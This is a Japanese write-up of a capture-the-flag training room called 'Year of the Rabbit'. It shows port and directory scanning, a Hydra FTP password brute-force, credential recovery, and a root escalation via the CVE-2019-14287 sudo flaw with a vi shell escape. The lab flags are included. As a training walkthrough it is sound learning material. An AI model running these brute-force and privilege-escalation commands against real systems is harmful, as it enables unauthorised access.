はじめに
今回は難易度がEasyである「Year of the Rabbit」というRoom攻略の備忘録になります。
(着手自体はかなり前なのですが、下書きのまま残っていたものになります)
※扱い次第では法に触れるため、悪用厳禁です。
Task1 Flags
What is the user flag?
ポートスキャンを実行します。
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.83.172
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-14 03:50 EDT
Nmap scan report for 10.10.83.172
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.46 seconds
ブラウザでアクセスしたところ「Apache2 Default Page」が表示されたので、gobusterで隠されたディレクトリを探索します。
└─$ gobuster dir -u http://10.10.83.172 -x html,php,txt,jpeg,png -w ../../usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.83.172
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ../../usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: jpeg,png,html,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/.html (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 7853]
/assets (Status: 301) [Size: 313] [--> http://10.10.83.172/assets/]
実行結果にある「/assets」にアクセスしてみると、2つファイルが確認できます。
スタイルシート内にディレクトリ情報があるのを確認した為、アクセスしてみます。
アラートが表示され、Javascriptを無効化すべきとのこと。
私はFirefoxを使用しているので、アドレスバーに「about:config」と入力し、次に検索バーに「javascript.enabled」入力して無効化しました。
改めてアクセスした所動画がありましたが実際に見ても何もわからず、、
調べてみるとBurpSuiteを使うようなヒントがあるとか。
なので「/sup3r_s3cr3t_fl4g.php」にアクセスした状態でインターセプトを有効化した後、ブラウザを更新してBurpSuiteの「Forward」ボタンを押下してみます。
ディレクトリにあった画像をローカルに保存し、試しにcatコマンドで出力されるテキストを確認してみると、ftp用のユーザ名が判明しました。
...
s.ç÷Çw÷ww_½;üúÞZê@q¢,ª³-u¶=ÀïÞ2Åètë;#Óý]9zaAL MÇj£ÄkeMs^ *Q4!ZÈqÊDa.ðÎÄmî¥f³ûÍ|»nMáàëÖÓ>âB~ýtë³»ÙÖo)-³XDV$¨v°IÚBÀT%RÚ÷¬©$Ê(aµHd/²Ô>͹ÇìÎ\ÆìN<GÌI¹[·9¶¯ûëØ|:$ÉáI1ºo]ÒAyÕ×7w§Ó;ÍËzw¾»?®ÃAp(*ðlcTÌøwÿîßý»÷Kÿ?ahÉB¥F8����IEND®B`Ot9RrG7h2~24?
Eh, you've earned this. Username for FTP is ftpuser
One of these is the password:
Mou+56n%QK8sr
1618B0AUshw1M
A56IpIl%1s02u
vTFbDzX9&Nmu?
パスワード情報が分からないため、Hydraでパスワードを総当りで特定します。
┌──(kali㉿kali)-[~]
└─$ hydra -l ftpuser -P password_list.txt 10.10.83.172 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-14 04:59:08
[DATA] max 16 tasks per 1 server, overall 16 tasks, 82 login tries (l:1/p:82), ~6 tries per task
[DATA] attacking ftp://10.10.83.172:21/
[21][ftp] host: 10.10.83.172 login: ftpuser password: 5iez1wGXKfPKQ
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-14 04:59:25
パスワードが判明したので、ftpサーバにログインします。
┌──(kali㉿kali)-[~]
└─$ ftp 10.10.83.172
Connected to 10.10.83.172.
220 (vsFTPd 3.0.2)
Name (10.10.83.172:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ftp>
サーバ内を探索しているとテキストファイルを確認したので、ローカルに落として中身を確認してみます。
ftp> ls
229 Entering Extended Passive Mode (|||60315|).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 758 Jan 23 2020 Eli's_Creds.txt
226 Directory send OK.
ftp> ascii
200 Switching to ASCII mode.
ftp>
ftp> get Eli's_Creds.txt
local: Eli's_Creds.txt remote: Eli's_Creds.txt
229 Entering Extended Passive Mode (|||9025|).
150 Opening BINARY mode data connection for Eli's_Creds.txt (758 bytes).
100% |***********************************************| 758 9.90 MiB/s 00:00 ETA
226 Transfer complete.
WARNING! 11 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
758 bytes received in 00:00 (2.97 KiB/s)
Brainfuckという言語の文字列を確認したので、以下サイトに入力してみます。
https://mikecat.usamimi.info/jstool/brainfuck/
+++++ ++++[ ->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->-
--<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+
++++[ ->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<+
+++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<
]>+++ +++.< ++++[ ->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+
++.<+ ++[-> ---<] >---- -.<++ ++++[ ->--- ---<] >---- --.<+ ++++[ ->---
--<]> -.<++ ++++[ ->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >++++
+<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >+.<+
++++[ ->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[ ->+++ +++++
<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++
<]>+. <+++[ ->--- <]>-- ---.- ----. <
試しにssh接続でログインを試みたところ、問題なく入れました。
ログイン後に表示されるメッセージより、s3cr3tとある隠しディレクトリを確認すべきとのこと。
┌──(kali㉿kali)-[~]
└─$ ssh eli@10.10.83.172
eli@10.10.83.172's password:
1 new message
Message from Root to Gwendoline:
"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"
END MESSAGE
該当のディレクトリを探して中を確認します。
eli@year-of-the-rabbit://$ find -name "*s3cr3t*"
find: `./var/log/gdm3': Permission denied
find: `./sys/kernel/debug': Permission denied
./usr/games/s3cr3t
find: `./root': Permission denied
find: `./etc/cups/ssl': Permission denied
フラグはありませんでしたが、gwendolineユーザのパスワードと思われる文字列があったので、そのユーザで入ってみます。
eli@year-of-the-rabbit://$ cd ./usr/games/s3cr3t
eli@year-of-the-rabbit://usr/games/s3cr3t$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Jan 23 2020 .
drwxr-xr-x 3 root root 4096 Jan 23 2020 ..
-rw-r--r-- 1 root root 138 Jan 23 2020 .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
eli@year-of-the-rabbit://usr/games/s3cr3t$ cat .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
Your password is awful, Gwendoline.
It should be at least 60 characters long! Not just MniVCQVhQHUNI
Honestly!
Yours sincerely
-Root
eli@year-of-the-rabbit://usr/games/s3cr3t$
gwendolineのフォルダ内にユーザ用のフラグがあったので、1つ目獲得になります。
eli@year-of-the-rabbit://$ su gwendoline
Password:
gwendoline@year-of-the-rabbit://$
gwendoline@year-of-the-rabbit://$ ls
bin boot dev etc home initrd.img lib lib64 live-build lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz
gwendoline@year-of-the-rabbit://$ cd home
gwendoline@year-of-the-rabbit://home$ ls
eli gwendoline
gwendoline@year-of-the-rabbit://home$ cd gwendoline/
gwendoline@year-of-the-rabbit://home/gwendoline$ cat user.txt
THM{1107174691af9ff3681d2b5bdb5740b1589bae53}
What is the root flag?
現在のユーザがroot権限で実行できるコマンドを確認したところ、「vi」コマンドが使えそうに見えます。
gwendoline@year-of-the-rabbit:/usr/games/s3cr3t$ sudo -l
Matching Defaults entries for gwendoline on year-of-the-rabbit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gwendoline may run the following commands on year-of-the-rabbit:
(ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
調べてみたところ「CVE-2019-14287」の脆弱性が該当し、ユーザIDを-1とすると、ユーザIDが0、つまりrootユーザとして実行が出来るとのこと。
sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
テキストエディタを開いた後、escキーでコロンプロンプトを表示し、シェルを起動します。
:!/bin/bash
rootユーザとなった為、最後にフラグを獲得して完了となります。
root@year-of-the-rabbit:/home/gwendoline# whoami
root
root@year-of-the-rabbit:/home/gwendoline# cd /
root@year-of-the-rabbit:/# cd root
root@year-of-the-rabbit:/root# ls
root.txt
root@year-of-the-rabbit:/root# cat root.txt
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}
さいごに
以上となります。